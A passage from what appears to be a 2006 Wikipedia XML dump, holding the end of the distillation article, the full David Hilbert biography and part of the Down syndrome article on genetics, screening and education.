The equipment may affect separation by one of two main methods. Firstly the vapours given off by the heated solution may consist of two liquids with significantly different boiling points. Thus, the vapour that is given off is in the vast majority of one or the other liquid, which after [[condensation]] and collection effects the separation.

The second method ([[fractional distillation]]) is more effective at separating liquids with similar boiling points. This method relies upon a gradient of temperatures existing in the condenser stage of the equipment. Often in this technique, a vertical condenser, or column, is used. By extracting products that are liquid at different heights up the column, it is possible to extract liquids that have different boiling points. The greater the distance over which the temperature gradient in the condenser is applied leads to easier and more complete separation.

Many countries [[tax]] distilled alcohol, and preserve government income by legal restrictions on the use of a still.

Distillation was developed into its modern form with the invention of the [[alembic]] by Persian alchemist [[Jabir ibn Hayyan]] c. [[800]]; he is also credited with the invention of numerous other chemical apparatus and processes that are still in use today.  [[Image:Simple_chem_distillation.PNG|frame|right|Diagram of simple distillation set-up without a fractionating column often used by chemists.    Shown in use.  
&lt;br&gt;1. heat source (a Bunsen burner here)
&lt;br&gt;2. distilling flask (a round bottom flask)
&lt;br&gt;3. distilling head
&lt;br&gt;4. thermometer
&lt;br&gt;5. condenser
&lt;br&gt;6. cooling water in
&lt;br&gt;7. cooling water out
&lt;br&gt;8. receiving flask  collecting dripping distillate
&lt;br&gt;9. vacuum source
&lt;br&gt;10. vacuum adapter]]
[[Chemist]]s often use distillation in their work as a means of separating [[Chemical compound|compound]]s or components.  See at right a diagram of a simple distillation set-up without a fractionating column often used by chemists. A distillation apparatus sometimes used by chemists is a [[rotary evaporator]] to distill (or evaporate)  away [[solvent]] from a solution.  

An analogous method with freezing instead of evaporation is called [[freeze distillation]]. It is not distillation, and does not produce products equivalent to distillation.

==See also==
*[[American Whiskey Trail]]
*[[Azeotrope]]
*[[Pervaporation]]
*[[Distilled beverage]]
*[[:Category:Distillation|Distillation Types]]
**[[Azeotropic Distillation]]
**[[Dry distillation]]
**[[Extractive Distillation]]
**[[Fractional distillation]] (The distillation process of petroleum)
**[[Vacuum distillation]]
**[[Steam Distillation]]
**[[Reactive distillation]]
**[[Freeze distillation]]


== External links ==
*[http://www.cheresources.com/extrdist.shtml Extractive Distillation]
*[http://www.agcom.purdue.edu/AgCom/Pubs/AE/AE-117.html Alcohol distillation]
*[http://homedistiller.org Homedistiller.org - The mother of all home distilling information websites]
*[http://homedistiller.org/wiki/index.php Alcohol Wiki at Homedistiller.org]
*[http://www.oilganic.com/essential-oils-distillation.htm Essential and Fragrance Oils Distillation]

[[Category:Distillation| ]]
[[Category:Alchemical processes]]

[[bg:Дестилация]]
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[[he:זיקוק]]
[[lt:Distiliacija]]
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[[ja:蒸留]]
[[no:Destillasjon]]
[[pl:Destylacja]]
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[[fi:Tislaus]]
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[[zh:蒸馏]]</text>
    </revision>
  </page>
  <page>
    <title>David Hilbert</title>
    <id>8302</id>
    <revision>
      <id>42162330</id>
      <timestamp>2006-03-04T05:53:22Z</timestamp>
      <contributor>
        <username>Prosfilaes</username>
        <id>49272</id>
      </contributor>
      <comment>add countries to cities of birth</comment>
      <text xml:space="preserve">[[Image:Hilbert.JPG|thumb|right|David Hilbert]]

'''David Hilbert''' ([[January 23]], [[1862]],[[Wehlau]], [[Prussia]]&amp;ndash;[[February 14]], [[1943]], [[Gottingen]],[[Germany]]) was a [[Germany|German]] [[mathematician]], recognized as one of the most influential mathematicians of the 19th and early 20th centuries. He established his reputation as a great mathematician and scientist by inventing or developing a broad range of ideas, such as [[invariant theory]], the [[Hilbert's axioms|axiomization of geometry]], and the notion of [[Hilbert space]], one of the foundations of [[functional analysis]]. Hilbert and his students supplied significant portions of the mathematic infrastructure required for [[quantum mechanics]] and [[general relativity]]. He is one of the founders of [[proof theory]], [[mathematical logic]], and the distinction between mathematics and [[metamathematics]], and warmly defended [[Cantor]]'s set theory and transfinite numbers. A famous example of his world leadership in [[mathematics]] is his 1900 presentation of a [[Hilbert's problems|set of problems]] that set the course for much of the mathematical research of the 20th century.  

==Life==
Hilbert was born in [[Wehlau]], near [[Kaliningrad|Königsberg]], [[Prussia]] (now [[Znamensk, Kaliningrad Oblast|Znamensk]], near [[Kaliningrad]], [[Russia]]). He graduated from the [[lyceum]] of his native city and registered at the [[University of Königsberg]]. He obtained his doctorate in 1885, with a dissertation, written under [[Ferdinand von Lindemann]], titled ''Über invariante Eigenschaften specieller binärer Formen, insbesondere der Kugelfunctionen'' (&quot;On the invariant properties of special [[binary form]]s, in particular the  circular functions&quot;). [[Hermann Minkowski]] was also a doctoral candidate at the same university and time, and he and Hilbert became close friends, the two exercising a reciprocal influence over each other at various times in their scientific careers. 

Hilbert remained at the University of Königsberg as a professor from [[1886]] to [[1895]], when, as a result of intervention on his behalf by [[Felix Klein]] he obtained the position of Chairman of Mathematics at the [[University of Göttingen]], at that time the best research center for mathematics in the world and where he remained for the rest of his life.

==The finiteness theorem==
Hilbert's first work on invariant functions led him to the demonstration in [[1888]] of his famous ''finiteness theorem''. Twenty years earlier, [[Paul Gordan|Gordan]] had demonstrated the [[theorem]] of the finiteness of generators for binary forms using a complex computational approach. The attempts to generalize his method to functions with more than two variables failed because of the enormous difficulty of the calculations involved.  Hilbert realized that it was necessary to take a completely different path. As a result, he demonstrated ''[[Hilbert's basis theorem]]'': showing the existence of a finite set of generators, for the invariants of [[quantic]]s in any number of variables, but in an abstract form. That is, while demonstrating the existence of such a set, it was not algorithmic but an [[existence theorem]].

Hilbert sent his results to the ''[[Mathematische Annalen]]''.  Gordan, the house expert on the theory of invariants for the ''Mathematische Annalen'', was not able to appreciate the revolutionary nature of Hilbert's theorem and rejected the article, criticizing the exposition because it was insufficently comprehensive. His comment was:

:''This is Theology, not Mathematics!''

Klein, on the other hand, recognized the importance of the work, and guaranteed that it would be published without any alterations. Encouraged by Klein and by the comments of Gordon, Hilbert in a second article extended his method, providing estimations on the maximum degree of the minimum set of generators, and he sent it once more to the ''Annalen''. After having read the manuscript, Klein wrote to him, saying:

:''Without doubt this is the most important work on general algebra that the ''Annalen'' has ever published.''

Later, after the usefulness of Hilbert's method was universally recognized, Gordan himself would say:

:''I must admit that even theology has its merits.''

==Axiomatization of geometry==
{{For more|Hilbert's axioms}}

The text ''[[Grundlagen der Geometrie]]'' (tr.: ''Foundations of Geometry'') published by Hilbert in [[1899]] substitutes a formal set, comprised of 21 [[axiom]]s, for the traditional [[Euclidean geometry|axioms of Euclid]]. They avoid weaknesses identified in those of [[Euclid]], whose works at the time were still used textbook-fashion. Independently and contemporaneously, a 19-year-old American student named [[Robert Lee Moore]] published an equivalent set of axioms. Some of the axioms coincide, some of the axioms in Moore's system are theorems in Hilbert's and vice-versa.

Hilbert's approach signalled the shift to the modern [[axiomatic method]]. Axioms are not taken as self-evident truths. Geometry may treat of ''things'', about which we have powerful intuitions, but it is not necessary to assign any explicit meaning to the undefined concepts. The elements, such as [[point (geometry)|point]], [[line]], [[plane (geometry)|plane]], and others, could be substituted, as Hilbert says, by tables, chairs, glasses of beer and other such objects. It is their defined relationships that are discussed.
 
Hilbert first enumerates the undefined concepts: point, line, plane, lying on (a relation between points and planes), betweenness, congruence of pairs of points, and [[criteria of congruence of angles|congruence]] of [[angles]]. The system of axioms combines within a single set both the [[plane geometry]] and [[solid geometry]] of Euclid.

==The 23 Problems==
{{For more|Hilbert's problems}}

He put forth a most influential list of [[Hilbert's problems|23 unsolved problems]] at the [[International Congress of Mathematicians]] in [[Paris]] in 1900. This is generally reckoned the most successful and deeply considered compilation of open problems ever to be produced by an individual mathematician.

After re-working the foundations of classical geometry, Hilbert could have extrapolated to the rest of mathematics. His approach differed, however, from the later 'foundationalist' Russell-Whitehead or 'encyclopedist' [[Nicolas Bourbaki]], and from his contemporary [[Giuseppe Peano]]. The mathematical community as a whole could enlist in problems, which he had identified as crucial aspects of the areas of mathematics he took to be key. 

The problem set was launched as a talk &quot;The Problems of Mathematics&quot; presented during the course of the Second International Congress of Mathematicians held in Paris. Here is the introduction of the speech that Hilbert gave:

:''Who among us would not be happy to lift the veil behind which is hidden the future; to gaze at the coming developments of our science and at the secrets of its development in the centuries to come? What will be the ends toward which the spirit of future generations of mathematicians will tend? What methods, what new facts will the new century reveal in the vast and rich field of mathematical thought?''

He presented fewer than half the problems at the Congress, which were published in the acts of the Congress. In a subsequent publication, he extended the panorama, and arrived at the formulation of the now-canonical 23 Problems of Hilbert. The full text is important, since the exegesis of the questions still can be a matter of inevitable debate, whenever it is asked how many have been solved.

Some of these were solved within a short time. Others have been discussed throughout the 20th century, with a few now taken to be unsuitably open-ended to come to closure. Some even continue to this day to remain a challenge for mathematicians.

==Formalism==

In an account that had become standard by the mid-century, Hilbert's problem set was also a kind of manifesto, that opened the way for the development of the [[formalism|formalist]] school, one of three major schools of mathematics of the 20th century. According to the formalist, mathematics is a game devoid of meaning in which one plays with symbols devoid of meaning according to formal rules which are agreed upon in advance. It is therefore an autonomous activity of thought. (Cfr.: [[Hermann Hesse]] - ''The glass bead game''). There is, however, room to doubt whether Hilbert's own views were simply formalist in that sense.

===Hilbert's program===
In [[1920]] he proposed explicitly a research project (in ''[[metamathematics]]'', as it was then termed) that became known as [[Hilbert's program]]. He wanted [[mathematics]] to be formulated on a solid and complete logical foundation. He believed that in principle this could be done, by showing that: 

#all of mathematics follows from a correctly-chosen finite system of [[axiom]]s; and 
#that some such axiom system is provably consistent. 

There seem to have been both technical and psychological reasons why he formulated this proposal. It affirmed his dislike of what had become known as the ''[[ignorabimus]]'', still an active issue in his time in German thought, and traced back in that formulation to [[Emil du Bois-Reymond]].

This program is still recognisable in the most popular [[philosophy of mathematics]], where it is usually called ''formalism''. For example, the [[Bourbaki]] group adopted a watered-down and selective version of it as adequate to the requirements of their twin projects of (a) writing encyclopedic foundational works, and (b) supporting the [[axiomatic method]] as a research tool. This approach has been successful and influential in relation with Hilbert's work in algebra and functional analysis, but has failed to engage in the same way with his interests in physics and logic.

===Gödel's work===

Hilbert and the talented mathematicians who worked with him in his enterprise were committed to the project. His attempt to support axiomatized mathematics with definitive principles, which could banish theoretical uncertainties, was however to end in failure. 

[[Kurt Gödel|Gödel]] demonstrated that any non-contradictory formal system, which was comprehensive enough to include at least arithmetic, cannot demonstrate its completeness by way of its own axioms. In [[1931]] his [[Gödel's incompleteness theorem|incompleteness theorem]] showed that Hilbert's grand plan was impossible as stated. The second point cannot in any reasonable way be combined with the first point, as long as the axiom system is genuinely [[finitary]]. 

Nevertheless, the incompleteness theorem says nothing with regard to the demonstration by way of a different formal system of the completeness of mathematics. The subsequent achievements of [[proof theory]] at the very least ''clarified'' consistency as it relates to theories of central concern to mathematicians. Hilbert's work had started logic on this course of clarification; the need to understand Gödel's work then led to the development of [[recursion theory]] and then [[mathematical logic]] as an autonomous discipline in the decade 1930-1940. The basis for later [[theoretical computer science]], in [[Alonzo Church]] and [[Alan Turing]] also grew directly out of this 'debate'.

==The Göttingen school==

Among the students of Hilbert, there were [[Hermann Weyl]], the champion of chess [[Emanuel Lasker]] and [[Ernst Zermelo]]. [[John von Neumann]] was his assistant. At the University of Göttingen, he was surrounded by a social circle of some of the most important mathematicians of the 20th century, such as 
[[Emmy Noether]] and [[Alonzo Church]].

==Hilbert space==

Around 1909, Hilbert dedicated himself to the study of differential and integral equations; his work had direct consequences for important parts of modern functional analysis. In order to carry out these studies, Hilbert introduced the concept of an infinite dimensional [[Euclidean space]], later called [[Hilbert space]]. His work in this part of analysis provided the basis for important contributions to the mathematics of physics in the next two decades, though from an unanticipated direction.
Later on, [[Stefan Banach]] amplified the concept, defining [[Banach spaces]]. Hilbert space is the most important single idea in the area of [[functional analysis]] that grew up around it during the 20th century.

==Hilbert and Physics==
Until 1912, Hilbert was almost exclusively a &quot;pure&quot; mathematician.  When planning a visit from Bonn, where he was immersed in studying physics, his fellow mathematician and friend [[Hermann Minkowski]] joked he had to spend 10 days in quarantine before being able to visit Hilbert.  In fact, Minkowski seems responsible for most of Hilbert's physics investigations prior to 1912, including their joint seminar in the subject in 1905.

In 1912, three years after his friend's death, he turned his focus to the subject almost exclusively.  He arranged to have a &quot;physics tutor&quot; for himself.  He started studying [[Kinetic theory|kinetic gas theory]] and moved on to elementary [[radiation]] theory and the molecular theory of matter.  Even after the war started in 1914, he continued seminars and classes where the works of [[Albert Einstein|Einstein]] and others were followed closely. 

In 1915 Hilbert and Einstein both arrived at the necessary field equations to complete [[General Relativity]] (the [[Einstein-Hilbert action]]), Einstein on November 11 and 25, then Hilbert on November 20, 1915 (Reid, p., 141). Despite the &quot;remarkable coincidence&quot; (Reid p. 141),
: &quot;Hilbert freely admitted, and frequently stated in lectures, that the great idea was Einstein's.
: &quot; 'Every boy in the streets of Göttingen understands more about four-dimensiona geometry than Einstein,' he once remarked. 'Yet, in spite of that, Einstein did the work and not the mathematicians'.&quot; (Reid pp. 141-142). 

Some historians aver bitterness on the part of Einstein about priority [reference required]. For more see [[relativity priority dispute]]).  

Additionally, Hilbert's work anticipated and assisted several advances in the [[mathematical formulation of quantum mechanics]]. He anticipated [[Hermann Weyl]]'s proof of the mathematical equivalence of [[Werner Heisenberg]]'s [[matrix mechanics]] and [[Erwin Schrödinger]]'s [[Schrödinger equation|wave equation]] and his namesake [[Hilbert space]] plays an important part in quantum theory.

Throughout this immersion in physics, he worked on putting rigor into the mathematics of physics.  While highly dependent on higher math, the physicist tended to be &quot;sloppy&quot; with it.  To a &quot;pure&quot; mathematician like Hilbert, this was both &quot;ugly&quot; and difficult to understand.  As he began to understand the physics and how the physicists were using mathematics, he developed a coherent mathematical theory for what he found, most importantly in the area of [[integral equations]].  When his colleague [[Richard Courant]] wrote the now classic [[Methods of Mathematical Physics]] including some of Hilbert's ideas, he added the older professors name as author even though he had not directly contributed to the writing.  Meaning that the math was generally beyond them, Hilbert said &quot;Physics is too hard for physicists.&quot;  The Courant-Hilbert book made it easier for them.

==Number theory ==
Hilbert unified the field of [[algebraic number theory]] with his 1897 treatise ''Zahlbericht'' (literally &quot;report on numbers&quot;). He disposed of [[Waring's problem]] in the wide sense. He then had little more to publish on the subject; but the emergence of [[Hilbert modular form]]s in the dissertation of a student means his name is further attached to a major area.

He made a series of conjectures on [[class field theory]]. The concepts were highly influential, and his own contribution is seen in the namse of the [[Hilbert class field]], and the [[Hilbert symbol]] of [[local class field theory]]. Results on them were mostly proved by 1930, after breakthrough work by [[Teiji Takagi]] that established him as Japan's first mathematician of international stature. 

Hilbert did not work in the central areas of [[analytic number theory]], but his name has become known for the [[Hilbert-Pólya conjecture]], for reasons that are anecdotal.

==Miscellaneous talks, essays, and contributions==

His [[Hilbert's paradox of the Grand Hotel|paradox of the Grand Hotel]], a meditation on strange properties of the infinite, is often used in popular accounts of infinite [[cardinal number]]s.

==Later years==
Hilbert lived to see the [[Nazi]]s purge many of the prominent faculty members at [[Georg August University of Göttingen|University of Göttingen]], in [[1933]]. [http://www.childrenofthemanhattanproject.org/HISTORY/H-02b.htm]. Among those forced out were [[Hermann Weyl]], who had taken Hilbert's chair when he retired in 1930, [[Emmy Noether]] and [[Edmund Landau]]. One of those who had to leave Germany was [[Paul Bernays]], Hilbert's collaborator in [[mathematical logic]], and co-author with him of the important book ''Grundlagen der Mathematik'' (which eventually appeared in two volumes, in 1934 and 1939). This was a sequel to the Hilbert-[[Wilhelm Ackermann|Ackermann]] book ''[[Principles of Theoretical Logic]]'' from 1928.

About a year later, he attended a banquet, and was seated next to the new Minister of Education, [[Bernhard Rust]]. Rust asked, &quot;How is mathematics in Göttingen now that it has been freed of the Jewish influence?&quot; Hilbert replied, &quot;Mathematics in Göttingen? There is really none any more&quot;.{{rf|2|Reid.205}}

By the time Hilbert died in [[1943]], the Nazis had nearly completely restructured the university, many of the former faculty being either Jewish or married to Jews. Hilbert's funeral was attended by fewer than a dozen people, only two of whom were fellow academics.{{rf|3|Reid.213}}

On his tombstone, at Göttingen, one can read his epitaph:

:''Wir müssen wissen, wir werden wissen'' - We must know, we will know.

Ironically, the day before Hilbert pronounced this phrase, Kurt Gödel had presented his thesis, containing the famous incompleteness theorem: there are things which we know to be true, but which we cannot prove to be so.

==See also==
*[[Einstein-Hilbert action]]
*[[Hilbert's Nullstellensatz]]
*[[Hilbert's basis theorem]]
*[[Hilbert's syzygy theorem]]
*[[Hilbert's Theorem 90]]
*[[Hilbert space]]
*[[Hilbert-Speiser theorem]]
*[[Hilbert's irreducibility theorem]]
*[[Principles of Theoretical Logic]]
*[[Priority disputes about Einstein and the relativity theories]]
*[[Hilbert's paradox of the Grand Hotel|Hilbert's Hotel]]

==Bibliography==
Primary literature in English translation:
*Ewald, William B., ed., 1996. ''From Kant to Hilbert: A Source Book in the Foundations of Mathematics'', 2 vols. Oxford Uni. Press.
**1918. &quot;Axiomatic thought,&quot; 1115-14.
**1922. &quot;The new grounding of mathematics: First report,&quot; 1115-33.
**1923. &quot;The logical foundations of mathematics,&quot; 1134-47.
**1930. &quot;Logic and the knowledge of nature,&quot; 1157-65.
**1931. &quot;The grounding of elementary number theory,&quot; 1148-56.
*[[Jean van Heijenoort]], 1967. ''From Frege to Godel: A Source Book in Mathematical Logic, 1879-1931''. Harvard Univ. Press.
**1904. &quot;On the foundations of logic and arithmetic,&quot; 129-38.
**1925. &quot;On the infinite,&quot; 367-92.
**1927. &quot;The foundations of mathematics,&quot; with comment by [[Weyl]] and Appendix by [[Bernays]], 464-89.

Secondary:
*Bottazini, Umberto, 2003. ''Il flauto di Hilbert. Storia della matematica''. [[UTET]], ISBN 8877508523
* Corry, L., Renn, J., and Stachel, J., 1997, &quot;Belated Decision in the Hilbert-Einstein Priority Dispute,&quot; ''Science 278'': nn-nn.
*[[Ivor Grattan-Guinness]], 2000. ''The Search for Mathematical Roots 1870-1940''. Princeton Uni. Press.
*Gray, Jeremy, 2000. ''The Hilbert Challenge'', ISBN 0198506511
*[[Piergiorgio Odifreddi]], 2003. ''Divertimento Geometrico - Da Euclide ad Hilbert''. [[Bollati Boringhieri]], ISBN 8833957144. A clear exposition of the &quot;errors&quot; of Euclid and of the solutions presented in the ''Grundlagen der Geometrie'', with reference to [[non-Euclidean geometry]].
*Reid, Constance, 1996. ''Hilbert'', [[Springer Science and Business Media|Springer]]. ''The'' biography in English.
*[[Kip Thorne|Thorne, Kip]], 1995. ''[[Black Holes and Time Warps|Black Holes and Time Warps: Einstein's Outrageous Legacy]]'',  W. W. Norton &amp; Company; Reprint edition. ISBN 0393312763.

==Notes==
{{ent|1|Reid}} Reid p. 141
{{ent|2|Reid.205}} Reid p. 205.
{{ent|3|Reid.205}} Reid p. 213.

==External links==
{{wikiquote}}
*{{MacTutor Biography|id=Hilbert}}
*{{MathGenealogy|id=7298}}
*[http://aleph0.clarku.edu/~djoyce/hilbert/problems.html Hilbert's 23 Problems Address]
*[http://plato.stanford.edu/entries/hilbert-program/ Hilbert's Program]
*{{gutenberg author| id=David+Hilbert | name=David Hilbert}}

[[Category:1862 births|Hilbert, David]]
[[Category:1943 deaths|Hilbert, David]]
[[Category:German mathematicians|Hilbert, David]]
[[Category:Number theorists|Hilbert, David]]
[[Category:Contributors to general relativity|Hilbert, David]]

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  </page>
  <page>
    <title>Down syndrome</title>
    <id>8303</id>
    <revision>
      <id>42082285</id>
      <timestamp>2006-03-03T18:30:22Z</timestamp>
      <contributor>
        <username>Andrew Norman</username>
        <id>137672</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/208.5.77.151|208.5.77.151]] ([[User talk:208.5.77.151|talk]]) to last version by Andrew Norman</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name           = Down syndrome |
  ICD10          = {{ICD10|Q|90||q|90}} |
  ICD9           = {{ICD9|758.0}} |
  ICDO           = |
  Image          = Drill.jpg |
  Caption        = Child with Down syndrome |
  OMIM           = 190685 |
  OMIM_mult      = |
  MedlinePlus    = 000997 |
  eMedicineSubj  = ped |
  eMedicineTopic = 615 |
  DiseasesDB     = 3898 |
}}
'''Down syndrome''' (US, Canada and other countries) or '''Down's syndrome''' (UK and other countries) encompasses a number of chromosomal abnormalities, of which [[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]] (an [[aneuploidy|aneuploid]]) is the most common, causing highly variable degrees of [[learning difficulties]] as well as [[disability|physical disabilities]].  It is named for [[John Langdon Down]], the British doctor who first described it in [[1866]].

== Overview ==
The incidence of Down syndrome is estimated at 1 per 800 births, making it the most common human [[aneuploidy]].  [[Maternal age effect|Maternal age]] influences the chance of conceiving a baby with the syndrome. At age 20 to 24, it is 1/1490, while at age 40 it is 1/106, and at age 49 is 1/11. (Hook EB., 1981).  Although the chance increases with maternal age, most children with Down syndrome (80%) are born to women under the age of 35.  This reflects the overall fertility of that age group.  Many standard screens of pregnancies indicate Down syndrome, although they are not very accurate.  [[Genetic counseling]] along with [[genetic testing]], such as [[amniocentesis]] or [[chorionic villus sampling]], are usually offered to families who may have an increased chance of having a child with Down syndrome.

While most children with Down syndrome have a lower than average cognitive function, some have earned college degrees with accommodations, and nearly all will learn to read, write and do simple mathematics. The common clinical features of Down syndrome include any of a number of features that also appear in people with a standard set of chromosomes. They include a [[simian crease]] (a single crease across one or both palms), almond shaped eyes, shorter limbs, heart and/or gastroesophageal defects, speech impairment, and perhaps a higher than average risk of incidence of [[Hirschsprung's disease]]. Young children with Down syndrome are also more prone to recurrent [[ear infections]] and [[obstructive sleep apnea]].

Early educational intervention, screening for common problems, such as [[thyroid]] functioning, medical treatment where indicated, a conducive family environment, vocational training, ''etc''., can improve the overall development of children with Down syndrome. On the one hand, Down syndrome shows that some genetic limitations cannot be overcome; on the other, it shows that education can produce excellent progress whatever the starting point. The commitment of parents, teachers, and therapists to individual children has produced previously unexpected positive results.

== History ==
[[John Langdon Down]] first characterized Down syndrome in 1862 (widely published in 1866).  Because of his perception that Down syndrome children share physical similarities ([[Epicanthal fold|epicanthal folds]]) with Mongolians, he used the terms '''mongolism''' or '''mongolian idiocy'''.  At the time, the vast majority of people with Down syndrome were [[institutionalization|institutionalized]].  The reference to racial characeristics was typical of the day and the growing [[eugenics]] movement.  Into the 20&lt;sup&gt;th&lt;/sup&gt; Century, individuals with Down syndrome (and other disabilities) were [[institutionalization|institutionalized]] and often forcibly sterilized (33 of the, then, 48 United States had forced sterilization laws).  The [[Germany|German]] program [[T-4 Euthanasia Program|&quot;Aktion T-4&quot;]] ([[1940]]) was a [[euthanasia]] program aimed at various disabilities, including Down syndrome.  These programs have since been discredited and forced institutionalization is atypical in Western countries.

In 1959, [[Jerome Lejeune|Professor Jérome Lejeune]] discovered that Down syndrome is a chromosomal irregularity [http://www.fondationlejeune.org/eng/Content/Fondation/professeurlj.asp].  The chromosomal irregularity was identified as '''[[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]]'''.  The human [[karyotype]] is numbered from largest to smallest (excluding the X and Y), and Lejeune ascribed the trisomy to chromosome 21, the second smallest.  This is incorrect.  The chromosome that causes Down syndrome should have been designated 22, the smallest.  By the time the mistake was discovered, it was too late to change the karyotype order.

In 1961 a group of geneticists wrote to the editor of ''[[The Lancet]]'' suggesting that the name be changed.  They gave him several choices, and he chose ''Down's Syndrome''.  The [[World Health Organization]] (WHO) confirmed this designation in 1965 [http://www.intellectualdisability.info/values/history_DS.htm 2].  In 1974, the United States National Institute of Health called a conference to standardize the naming of diseases and disorders.  They recommended eliminating the possessive form (&quot;The possessive form of an eponym should be discontinued, since the author neither had nor owned the disorder.&quot;).  ''Down syndrome'' is the accepted term in the USA, Canada and other countries, and the possessive form is used in the United Kingdom and other countries.

== Genetics ==
Down syndrome is a chromosomal abnormality characterized by the presence of an extra copy of genetic material on the [[Chromosome 21|21]]st chromosome, either in whole ([[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]]) or part (such as due to [[Chromosomal translocation|translocations]]). The effects of the extra copy varies greatly from individual to individual, depending on the extent of the extra copy, genetic background, environmental factors, and random chance.  Down syndrome can occur in all human populations, and analogous effects have been found in other species, such as chimpanzees and mice.

Down syndrome has four root causes:
*  Trisomy 21 is caused by a meiotic nondisjunction event.  In this case the child has three copies of every gene on [[Chromosome 21|chromosome 21]].  This is the cause of 95% of observed Down syndromes.
*  The extra material is due to a [[Robertsonian translocation]].  The long arm of [[Chromosome 21|21]] is attached to another chromosome (often [[Chromosome 14|chromosome 14]] or itself).  The parent with the translocation is missing information on the short arm of 21, but this does not have apparent effects.  Through normal disjunction during meiosis, gametes are produced with extra copies of the long arm of [[Chromosome 21|chromosome 21]].  There is variability in the extra region.  This is the cause of 2-3% of the observed Down syndromes, and is often referred to as 'familial Down syndrome'.
*  The individual is a mosaic of normal chromosomal arrangements and trisomy 21.  This can occur in one of two ways:  A [[nondisjunction]] event during an early cell division leads to a fraction of the cells with [[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]]; or A Down syndrome embryo undergoes [[nondisjunction]] and some of the cells in the embryo revert back to the normal chromosomal arrangement.  There is considerable variability in the fraction of [[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]], both as a whole and tissue-by-tissue.  This is the cause of 1-2% of the observed Down syndromes.  Is it likely that all people have an extremely small fraction of their cells that are [[Aneuploidy#Trisomy|trisomy]] [[Chromosome 21|21]].
*  Rarely, a region of the [[Chromosome 21|21]]&lt;sup&gt;st&lt;/sup&gt; chromosome will undergo a duplication event.  This will lead to extra copies of some, but not all, of the genes on [[Chromosome 21|chromosome 21]].

Most Down syndrome cases occur spontaneously.  There is no known prevention, although some factors, such as increased maternal age, can increase the chance of occurrence. The genetic basis itself cannot be treated, and the variety of expression requires targeting treatment to each individual.

== Prenatal screening ==
Pregnant women can be screened for various complications in their pregnancy.  Some screens are designed to indicate [[neural tube defect]]s (such as [[spina bifida]]), [[Edward's syndrome|Trisomy 18]], or Down syndrome, and other possible problems.  There are two common non-invasive screens that can indicate an increased chance for a Down syndrome fetus.
* Triple Screen.  This test measures the maternal serum [[alpha-fetoprotein|alpha feto protein]] (a fetal liver protein), [[estriol]] (a pregnancy hormone), and [[human chorionic gonadotropin]] (hCG, a pregnancy hormone).  This screen is done at the 15&lt;sup&gt;th&lt;/sup&gt; - 20&lt;sup&gt;th&lt;/sup&gt; week.  It can detect about 60% of Down syndrome pregnancies.  However, it has a 6.5% Initial Positive Rate (IPR) for Down syndrome.  Compare this to the 0.1% chance for Down syndrome birth.  As with most screens, the chance of a [[False positive|false positive]] is great.  The majority of women with a positive result will not have a Down syndrome birth.
* AFP/Free Beta Screen.  This test measures the [[alpha-fetoprotein|alpha feto protein]], produced by the fetus, and free beta hCG, produced by the [[placenta]].  It can be done somewhat earlier than the triple screen (13&lt;sup&gt;th&lt;/sup&gt; to 22&lt;sup&gt;nd&lt;/sup&gt; week).  It has an IPR of 2.8% and a detection rate of about 80%.  It is not as common as the triple screen.
Even with the best non-invasive screens, the detection rate is only 80% and the rate of false positive is nearly 3%.  [[False positive]]s can be caused by undetected multiple fetuses, incorrect date of pregnancy, or normal variation in the proteins.

Confirmation of the test is normally accomplished with [[amniocentesis]].  This is an invasive procedure and involves taking [[amniotic fluid]] from the mother and identifying fetal cells.  The risk of [[spontaneous abortion]] is approximately 1 in 200 to 1 in 300.  The lab work can take a couple of weeks.  It will detect over 99.8% of all numerical chromosomal problems, and has a very low false positive rate.

== Education ==
Cognitive development in children with Down syndrome is quite variable.  Many can be successful in school, while others struggle.  Because of this variability in expression of Down syndrome, it is important to evaluate children individually.  The cognitive problems that are found among children with Down syndrome are also found among children without Down syndrome.  This means that parents can take advantage of general programs that are offered through the schools or other means.
Children with Down syndrome have a wide range of abilities.  It is not possible at birth to predict their capabilities.  The identification of the best methods of teaching each particular child ideally begins soon after birth, through early intervention programs.

Most children with Down syndrome are in the mild to moderate range of mental retardation.  Emotional and social abilities follow a more normal path, moderated by whatever cognitive disability the child may have.  Very early social and emotional development show about a one to three month delay on average.

Language skills show a difference between understanding speech and expressing speech.  It is common for children with Down syndrome to need speech therapy to help with expressive language.
Fine motor skills often lag behind gross motor skills and can interfere with cognitive development.  Occupational therapy can address these issues.

Mainstreaming of children with Down syndrome is controversial.  Mainstreaming is when students of differing abilities are placed in classes with their chronological peers.  Children with Down syndrome do not age emotionally/socially and intellectually at the same rates as children without Down syndrome, so eventually the intellectual and emotional gap between children with and without Down syndrome widens.  Complex thinking as required in sciences but also in history, the arts, and other subjects is often beyond their abilities, or achieved much later than in most children. Therefore, if they are to benefit from mainstreaming without feeling inferior most of the time, special adjustments must be made to the curriculum.

Children with Down syndrome can also be placed in classes with cognitive peers.  After preschool, the difference in age makes this problematic.

A danger in not mainstreaming is underestimating their abilities. This was more common in institutions, where Down syndrome children often failed to reach their potential despite being capable of much more, but this issue is very real and present in the modern school system as well.
Some European countries such as Germany and Denmark advise a two-teacher system, whereby the second teacher takes over a group of disabled children within the class. A popular alternative is cooperation between special education schools and mainstream schools. In cooperation, the core subjects are taught in separate classes, which neither slows down the non-disabled students nor neglects the disabled ones. Social activities, outings, and many sports and arts activities are performed together, as are all breaks and meals.

'''Alternative treatment'''

[[The Institutes for The Achievement of Human Potential|The Institutes for The Achievement of Human Potential]] (IAHP [http://www.iahp.org]) is a non-profit organization which treats children who have, as the IAHP terms it, &quot;some form of brain injury,&quot; including children with Down syndrome. The IAHP offers a number of intellectual, physical, and physiological programs for children with neurological challenges.  The approach of &quot;Psychomotor Patterning&quot; is not proven (see [http://www.quackwatch.org/01QuackeryRelatedTopics/patterning.html Psychomotor Patterning] for a negative viewpoint), and is considered [[Alternative medicine|alternative medicine]].

== Health ==
Individuals with Down syndrome are at risk for various medical conditions.  There is no way to predict what conditions they will have, if any.  In addition, all these medical conditions can be exhibited by individuals without Down syndrome.  It is important to keep these medical risks in mind while undergoing wellness checkups.  The following links point to health flowcharts that can help parents with normal checkups [http://www.ds-health.com/ 6].
* [http://www.ds-health.com/recordsheet1.htm Children Birth to Age 12]
